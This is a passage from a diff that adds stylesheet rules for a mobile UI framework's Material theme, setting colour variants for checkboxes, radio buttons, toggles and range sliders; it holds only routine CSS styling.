0.5); +} +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .color-theme-orange .checkbox .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .color-theme-gray .checkbox .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .color-theme-white .checkbox .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .color-theme-black .checkbox .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-red input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .checkbox.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-green input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .checkbox.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .checkbox.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .checkbox.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .checkbox.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .checkbox.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .checkbox.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-white input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .checkbox.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-black input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .checkbox.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.md .icon-radio { + width: 20px; + height: 20px; + position: relative; + border-radius: 50%; + border: 2px solid #6d6d6d; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + display: block; +} +.md .icon-radio:after { + content: ''; + position: absolute; + width: 10px; + height: 10px; + left: 50%; + top: 50%; + margin-left: -5px; + margin-top: -5px; + background-color: #2196f3; + border-radius: 50%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; + -webkit-transform: scale(1); + transform: scale(1); +} +.md label.item-radio { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-radio > .icon-radio { + margin-left: 38px; +} +.md label.item-radio .item-content .item-media, +.md label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-radio.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-radio.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-radio { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red .radio .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green .radio .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink .radio .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow .radio .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange .radio .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray .radio .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white .radio .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black .radio .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md .radio.color-red .icon-radio:after { + background-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .radio.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .radio.color-green .icon-radio:after { + background-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .radio.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .radio.color-blue .icon-radio:after { + background-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .radio.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .radio.color-pink .icon-radio:after { + background-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .radio.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .radio.color-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .radio.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .radio.color-orange .icon-radio:after { + background-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .radio.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .radio.color-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .radio.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .radio.color-white .icon-radio:after { + background-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .radio.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .radio.color-black .icon-radio:after { + background-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .radio.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .toggle { + width: 36px; + height: 14px; +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(-16px); + transform: translateX(-16px); + background: #2196f3; +} +.md .toggle-icon { + width: 36px; + height: 14px; + border-radius: 14px; + background: #b0afaf; +} +.md .toggle-icon:after { + height: 20px; + width: 20px; + top: -3px; + -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + border-radius: 10px; + right: 0; +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: hidden; +} +.range-bar-active { + position: absolute; + right: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + right: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider { + height: 20px; +} +.md .range-bar { + background: #b9b9b9; + height: 2px; + margin-top: -1px; +} +.md .range-bar-active { + background: #2196f3; +} +.md .range-knob-wrap { + height: 12px; + width: 12px; + margin-top: -6px; + margin-right: -6px; +} +.md .range-knob { + background: #2196f3; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: background-color, -webkit-transform; + transition-property: background-color, -webkit-transform; + transition-property: transform, background-color; + transition-property: transform, background-color, -webkit-transform; +} +.md .range-knob-active-state .range-knob { + -webkit-transform: scale(1.5); + transform: scale(1.5); +} +.md .range-slider-min:not(.range-slider-dual) .range-knob { + background: #fff !important; + border: 2px solid #b9b9b9; +} +.md .range-knob-label { + width: 26px; + height: 26px; + margin-left: -13px; + margin-bottom: 8px; + background: #2196f3; + color: #fff; + font-size: 10px; + border-radius: 50%; + line-height: 26px; +} +.md .range-knob-label:before { + content: ''; + left: 50%; + top: 0px; + margin-left: -13px; + position: absolute; + z-index: -1; + width: 26px; + height: 26px; + background: #2196f3; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + border-radius: 50% 50% 50% 0; +} +.md .range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider-label .range-knob-active-state .range-knob { + -webkit-transform: scale(0); + transform: scale(0); +} +.md .color-theme-red .range-slider .range-bar-active, +.md .color-theme-red .range-slider .range-knob, +.md .color-theme-red .range-slider .range-knob-label, +.md .color-theme-red .range-slider .range-knob-label:before { + background-color: #f44336; +} +.md .color-theme-green .range-slider .range-bar-active, +.md .color-theme-green .range-slider .range-knob, +.md .color-theme-green .range-slider .range-knob-label, +.md .color-theme-green .range-slider .range-knob-label:before { + background-color: #4caf50; +} +.md .color-theme-blue .range-slider .range-bar-active, +.md .color-theme-blue .range-slider .range-knob, +.md .color-theme-blue .range-slider .range-knob-label, +.md .color-theme-blue .range-slider .range-knob-label:before { + background-color: #2196f3; +} +.md .color-theme-pink .range-slider .range-bar-active, +.md .color-theme-pink .range-slider .range-knob, +.md .color-theme-pink .range-slider .range-knob-label, +.md .color-theme-pink .range-slider .range-knob-label:before { + background-color: #e91e63; +} +.md .color-theme-yellow .range-slider .range-bar-active, +.md .color-theme-yellow .range-slider .range-knob, +.md .color-theme-yellow .range-slider .range-knob-label, +.md .color-theme-yellow .range-slider .range-knob-label:before { + background-color: #ffeb3b; +} +.md .color-theme-orange .range-slider .range-bar-active, +.md .color-theme-orange .range-slider .range-knob, +.md .color-theme-orange .range-slider .range-knob-label, +.md .color-theme-orange .range-slider .range-knob-label:before { + background-color: #ff9800; +} +.md .color-theme-gray .range-slider .range-bar-active, +.md .color-theme-gray .range-slider .range-knob, +.md .color-theme-gray .range-slider .range-knob-label, +.md .color-theme-gray .range-slider .range-knob-label:before { + background-color: #9e9e9e; +} +.md .color-theme-white .range-slider .range-bar-active, +.md .color-theme-white .range-slider .range-knob, +.md .color-theme-white .range-slider .range-knob-label, +.md .color-theme-white .range-slider .range-knob-label:before { + background-color: #ffffff; +} +.md .color-theme-black .range-slider .range-bar-active, +.md .color-theme-black .range-slider .range-knob, +.md .color-theme-black .range-slider .range-knob-label, +.md .color-theme-black .range-slider .range-knob-label:before { + background-color: #000000; +} +.md .range-slider.color-red .range-bar-active, +.md .range-slider.color-red .range-knob, +.md .range-slider.color-red .range-knob-label, +.md .range-slider.color-red .range-knob-label:before { + background-color: #f44336; +} +.md .range-slider.color-green .range-bar-active, +.md .range-slider.color-green .range-knob, +.md .range-slider.color-green .range-knob-label, +.md .range-slider.color-green .range-knob-label:before { + background-color: #4caf50; +} +.md .range-slider.color-blue .range-bar-active, +.md .range-slider.color-blue .range-knob, +.md .range-slider.color-blue .range-knob-label, +.md .range-slider.color-blue .range-knob-label:before { + background-color: #2196f3; +} +.md .range-slider.color-pink .range-bar-active, +.md .range-slider.color-pink .range-knob, +.md .range-slider.color-pink .range-knob-label, +.md .range-slider.color-pink .range-knob-label:before { + background-color: #e91e63; +} +.md .range-slider.color-yellow .range-bar-active, +.md .range-slider.color-yellow .range-knob, +.md .range-slider.color-yellow .range-knob-label, +.md .range-slider.color-yellow .range-knob-label:before { + background-color: #ffeb3b; +} +.md .range-slider.color-orange .range-bar-active, +.md .range-slider.color-orange .range-knob, +.md .range-slider.color-orange .range-knob-label, +.md .range-slider.color-orange .range-knob-label:before { + background-color: #ff9800; +} +.md .range-slider.color-gray .range-bar-active, +.md .range-slider.color-gray .range-knob, +.md .range-slider.color-gray .range-knob-label, +.md .range-slider.color-gray .range-knob-label:before { + background-color: #9e9e9e; +} +.md 